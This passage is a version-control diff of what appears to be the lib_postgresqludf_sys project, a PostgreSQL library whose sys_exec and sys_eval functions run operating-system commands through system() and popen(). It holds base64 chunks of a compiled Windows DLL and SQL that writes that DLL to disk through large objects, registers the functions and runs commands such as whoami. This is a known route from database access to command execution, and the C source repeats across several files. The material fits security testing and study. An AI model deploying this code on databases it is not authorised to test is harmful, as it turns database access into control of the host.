BTjdvYd+1UJDgWVlKJXCQ8FnylLLf///+FwHRbjUQkFI1QAesDjUkAighAhMl1+SvCMo0sfbeNtTt+KHhJUyQgUAP+V9iT7o8QgItMJCRRUiyL/VDY2fZyIHWvi2EQsFMXXzh8w5AOgD4AdAQ3FsZEN/+u/bK7AHCNZCRvg8AEULjggbnyucYsHKQAH/Ync+2JBxwZElCNRwRWUPjNF1w7i4ydiHYMi8dfM+7C4YfMNQ6BxF1u/yWF3/7hsagFpDsNbHUC88PpCAXLi/8QK2PuVmiAaOhw8f7/u7zHWVmjI1gEVIX2dQUzwEBew4MmAF3h6+5WB5loBMMJgnulBhuttbHVC1kjIk5Q7FfY/dtRUQo5RQx1DjkFaxB+bnMtNO7+EIN9DAGLCRBIiybYiWG3dd8KI0gPhdR9ZBcYBot5y7W72241ICiJ';
-- UPDATE udftest SET data=data||'PVC7HlDrGEoLD/bfpwSOO8d0F2joA6gsagDy/3fd9obWbOfrB8csATyhL0xqAm/37oZe0glqH5IJRus8qhDABHXte++4xwUfKBpA4CcH79/3nVyLILQEsBs6WYk1K/tztxs9WTmydQhpczA5PRXS3+69XHQcaAYoCHxDDf91PL7Y9rYDCCMW//FUiH+suRkB3AgBodt4BINl/ACZyM5m39sP1Pxjg7Ung/gCZtJZW//NsI19oFhLUDFZLjXmaN/hD4SHxxlUE0kU8e2luxgQiX2N7wQ7yHJRgz/b2j+2g/NqbDkHdOn/NyYg+BDabKExXLn4VhVxx+3NRBtHTfhVOU0Q27b2rQPQCHS0iQkCDBoIYGN20nbrp/YM/VlELttXiBE4WAZMMvwbjiALP1BDm1u/9Db8ycIMAGoQQxIo0Fv5i/KLXbK7vbkIHFTkM8lc/Il9IAhbi7Hw/DvxWjk6RBfk4c3/H6+EO/B0BYP+AnUuoew7wXSeFm64bVZf0Dte5AADkz24D2cR/mwUFoBWw7+TEglSJ/4BdSRkIFrEZoWzE1d3L1L+Gu010gYRU/dqA3VDYc92w080AyFodC4sLVx42CV/6xtx7IsXCXCpfLyq4FBRZEwQZei5Gg6t9i/60v67tcdv2xkFnSrkIb3DluyvcJrUFv87JGobd7cKjvZUfUhVDA0EklnKBWKGXTgiMygDbt5MG18hIEMFHIkVGIkd+25ubhSJNRCJPQxmjBg4BmZplmYNLB0IBe9uaZYEJQAtf/ycjxT5s421MJVWJAcEKI1FCLMx1v40i4Xg/KCqcJUBbR3btRwZICQTGAllwLm7ZowJHLNgiYXYMr4xzPIKBNwDFDRodMZfBaa0jFlq9xjWvs/geUYcgz0gAPkjrEDsHWhbG34G8cJ7eiTJw4BAHhTDahQLKSnySlAVqvj8/pMeopwQZFnrZ2oIN6RZQ3LDOI/tJzXDrdC6WTTg9b8D5FB/bSNgvkt0Zp4c3CpbjK0ULNbiCeDlJbRXG9I6';
-- UPDATE udftest SET data=data||'2wd53IRnk9xsmFnZTttt/u8WBt332BvA99hZSF1WuLwYvgQaHX/pV1A7xnMPiwdTAlA5rPQO1jv+cvEwJSALEinkIE9pDd6+ETUIuE1aLmY5AXP/8u9KWGhBPAPBgThQRXXvM9K5CwEbdoN/HEgYD5Tnwl07PyW+NS3dSDHID7dBRaVLbLdWBXEGM1cACBgR/98ajXbkoBwMO/lyCYtYCAPZO/sztd/gcgpCnCg71nLoat9ONh8O2U9q/qNwaNVkGOYbOBICUIPsCCnpu+HWMWYzxXDwZKMaiTAMFj5DTAloT/BwfV1nYuwS71WXLRNQt2iWhxkILAg7KyTBFYJw4egf9w/gAYkD1HbbqU8dAFmUi+WWKdaxnZ0Byj2pwPqdYmUt2C+7MUZGxk43PAVAREzG8uOSqRKwEOwJZbN2ch0Qyar776UWBh5a/T6UM5dttmwDjSvg+vzxQLAGmjyu/IrZwCbBdw3DlZYzHBzGUU4Ued6xfOh2aQISBCAUCqoYka3Y71yj7BBogvg7aA7+U1e/TuZAu35mfA2F6KdCicMrNZQE62C2xKRW43hjEXWYxhaKtZILl/AHNNHMlUEInSe++1vbOPQzDBE793UHvk9Z6wuF83XsEfgup8HgEAvwyAD31gfGRih9BF5fW7o/mAWcRkZGRlhcYGgAAGRHVAAA1CgV8gIhAI10Z9l9pRQRIgNkA0Bl0AzSAXJIXf///RJREhBLUlNEUwG3/T9I581Otf//N//blFHkL74MDGM6XERvY3VtZW50cyBhbmQgU2X//9v/dHRpbmdzXEFkbQdpc3RyYXRvci5XMkszU1RFTv63t/ZVUERBBjNlc2sWcFxzaGFyZVx2/O3/3yZ1YWxfY3BwX3Byb2plY3Q+bGliX3Bv/f//tmcfc3FsdWRmX3N5c184MlxSZWxlYXNlIMd+gSAucGRi0dUZbPK9WHcH0A91g3WVq6EHbQOBAzslhyfMB30PJNGdsNgfCQsDH9AogwAAAn0DpaLtsRm/RP+q';
-- UPDATE udftest SET data=data||'iiSCAIAAAGAw/woqwEIU//+XZ3gQAUdldEN1cnJlbnRQcm9jZXNzvf//yElkU3lzdGVtVGltZUFzRmlsZQn+1n6LGAhja0NvdS8NUXVlcnlQrcXa3wNmb3JtYW48Fg4Y3/6t+0Rpc2FiM2hXYWRMaWJyYSdDYWxsXCv/t3NvSXNEZWJ1Z2dlcm127W172VRTVW5oQGQxZEV4Rq2wmPtwdGlvbnNKGQTQtpS5ElQXtm+ytkRhHhFJkGwMa8257dZAnW1wh2VHUX9Zwlpzd1VRIhtCYbZsXMQVM6y7Pc2FPF9jaXQ0bQrXtu8GXzRfYW1zZwh4EQvtd7/wZGp1Ql9mZGl2DV9DcHBYY78JoP1hvF9kZWNvA5HctjBhaTJdbR55GGxr7xVCizL1CW5NESYLFhMPZQ2+dvuEXxtyNF9MbW0cGG5bs2v/V2RfbnU9RG1hYx5ye25hYzRuc9gdCMZuhm1m8nQsrnJuhHPN3O0d/N0qcGVVRV5zhfYPYwe0MDrvsdsE51bIzotvb7aGoX1rIlZuX3R5ORwaFlsotIkVil9yCp49zcJsRpGkcEVwZwFccO9DdG9hc0u6dW3///9nVhAzGAksFiMtCxcpERcRB4YGBhcJBwUWDB5/+///CAoLFgkYGBUFBhsFDBAGBxcGIQURDwYUIRELCCff/7crIgUHDREdDRhTLUg4BgAHCLJt3y4MCTMKCQsMWwUWFu7f/u0OCzQVCxgWDT0FQrwFEh4UBmky2d7N/xEMDh1NBRcjDQwkCAtEAvBvKvh/NARgBOgIBBwcBAAyTAEFAC3/YfVTHoNJNOAAAiELAQkMCJj9JlsArBULbOa+9xoJCwLeHgf3uzTfA2AEc4IeQAEqbM+WvQIHBnAmB7hmtm/ZjCJQFEBPsACrZntTUJ930BzVtyx2IBghQgAvbPMDSbAudGV4dLoKkMNDNhsMt0JgLnLLLWGQW2H7KAcIE7rvNYcCQC4m/gOUMLhN2WkCJ8BPc3Jg3wvWgOuwcxpPzc3RCFKp';
-- UPDATE udftest SET data=data||'T4wBUPtNySAeQhuMIxIAAHxyoVJTAAASAAAA/wAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnDmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA';
-- UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAABTHoNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAkBAAABAQAACgEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- Create a new OID for a large object, it implicitly adds an entry in the
-- PostgreSQL large objects system table
--
-- References:
-- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
-- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
SELECT lo_unlink(35817);
SELECT lo_create(35817);
-- Update the PostgreSQL system large objects table assigning to the just
-- created OID the binary (base64 decoded) UDF as data
--
-- Refereces:
-- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817;
-- Export the binary UDF OID to a file on the file system
--
-- Any folder where postgres user has read/write/execute access is valid
-- SELECT lo_export(35817, E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll');
--
-- Notes:
-- If the library file already exists, the user postgres does not have
-- access to overwrite it
-- The following enumerates the PostgreSQL data directory
-- SELECT CURRENT_SETTING('data_directory')
-- Reference:
-- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html
-- The following will save into C:\Program Files\PostgreSQL\8.3\data
SELECT lo_export(35817, 'lib_postgresqludf_sys.dll'); -- Favourite one, no need to enumerate the PostgreSQL data directory before
-- The following will save into nowhere
-- SELECT lo_export(35817, E'\lib_postgresqludf_sys.dll');
-- The following would save into C:\ (Permission denied)
-- SELECT lo_export(35817, E'\\lib_postgresqludf_sys.dll');
-- Create two functions from the binary UDF file
-- CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-- CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-- Test the two functions
SELECT sys_exec('echo test > %TEMP%/lib_postgresqludf_sys.txt'); -- %TEMP% path is C:\Documents and Settings\postgres\Local Settings\Temp
SELECT sys_eval('echo %TEMP% && whoami');
-- Cleanup the file system and the database
SELECT sys_exec('del %TEMP%\\lib_postgresqludf_sys.*');
DROP TABLE IF EXISTS udftest;
DROP FUNCTION IF EXISTS sys_exec(text);
DROP FUNCTION IF EXISTS sys_eval(text);

View File

@ -1,4 +0,0 @@
LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/postgresql/8.3/server -I. -shared lib_postgresqludf_sys.c -o $(LIBDIR)/lib_postgresqludf_sys.so

View File

@ -0,0 +1,11 @@
LIBDIR=/tmp
8.2:
gcc -Wall -I/usr/include/postgresql/8.2/server -O1 -shared src/8.2/lib_postgresqludf_sys.c -o so/8.2/lib_postgresqludf_sys.so
strip -sx so/8.2/lib_postgresqludf_sys.so
cp -f so/8.2/lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
8.3:
gcc -Wall -I/usr/include/postgresql/8.3/server -O1 -shared src/8.3/lib_postgresqludf_sys.c -o so/8.3/lib_postgresqludf_sys.so
strip -sx so/8.3/lib_postgresqludf_sys.so
cp -f so/8.3/lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so

View File

@ -18,13 +18,24 @@
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
# Adapt the following settings to your environment
PORT="5432"
VERSION="8.3"
USER="postgres"
echo "Compiling the PostgreSQL UDF"
make
make ${VERSION}
if test $? -ne 0; then
echo "ERROR: You need postgresql-server development software installed "
echo "ERROR: You need postgresql-server development software installed"
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
echo "apt-get install postgresql-server-dev-8.3"
if test "${VERSION}" == "8.2"; then
echo "apt-get install postgresql-server-dev-8.2"
else
echo "apt-get install postgresql-server-dev-8.3"
fi
exit 1
else
echo "PostgreSQL UDF compiled successfully"
@ -32,8 +43,7 @@ fi
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
/usr/lib/postgresql/8.3/bin/psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
#psql -h 127.0.0.1 -p 5432 -U postgres -q template1 < lib_postgresqludf_sys.sql
psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"

View File

@ -19,5 +19,5 @@
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/usr/lib/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@ -0,0 +1,111 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen-1] = 0x00;
}
result_text = (text *)malloc(VARHDRSZ + strlen(result));
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
//SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}

View File

@ -19,23 +19,33 @@
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdlib.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
Datum sys_exec(PG_FUNCTION_ARGS) {
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)palloc(argv0_size + 1);
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
@ -46,14 +56,14 @@ Datum sys_exec(PG_FUNCTION_ARGS) {
*/
result = system(command);
pfree(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
Datum sys_eval(PG_FUNCTION_ARGS) {
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
@ -64,7 +74,7 @@ Datum sys_eval(PG_FUNCTION_ARGS) {
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)palloc(argv0_size + 1);
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
@ -74,14 +84,14 @@ Datum sys_eval(PG_FUNCTION_ARGS) {
elog(NOTICE, "Command evaluated: %s", command);
*/
result = malloc(1);
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = realloc(result, outlen + linelen);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
@ -89,10 +99,11 @@ Datum sys_eval(PG_FUNCTION_ARGS) {
pclose(pipe);
if (*result) {
result[outlen] = 0x00;
result[outlen-1] = 0x00;
}
result_text = (text *)palloc(VARHDRSZ + strlen(result));
result_text = (text *)malloc(VARHDRSZ + strlen(result));
//VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));

View File

@ -0,0 +1,23 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@ -0,0 +1,111 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen-1] = 0x00;
}
result_text = (text *)malloc(VARHDRSZ + strlen(result));
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
//SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}

View File

@ -0,0 +1,111 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
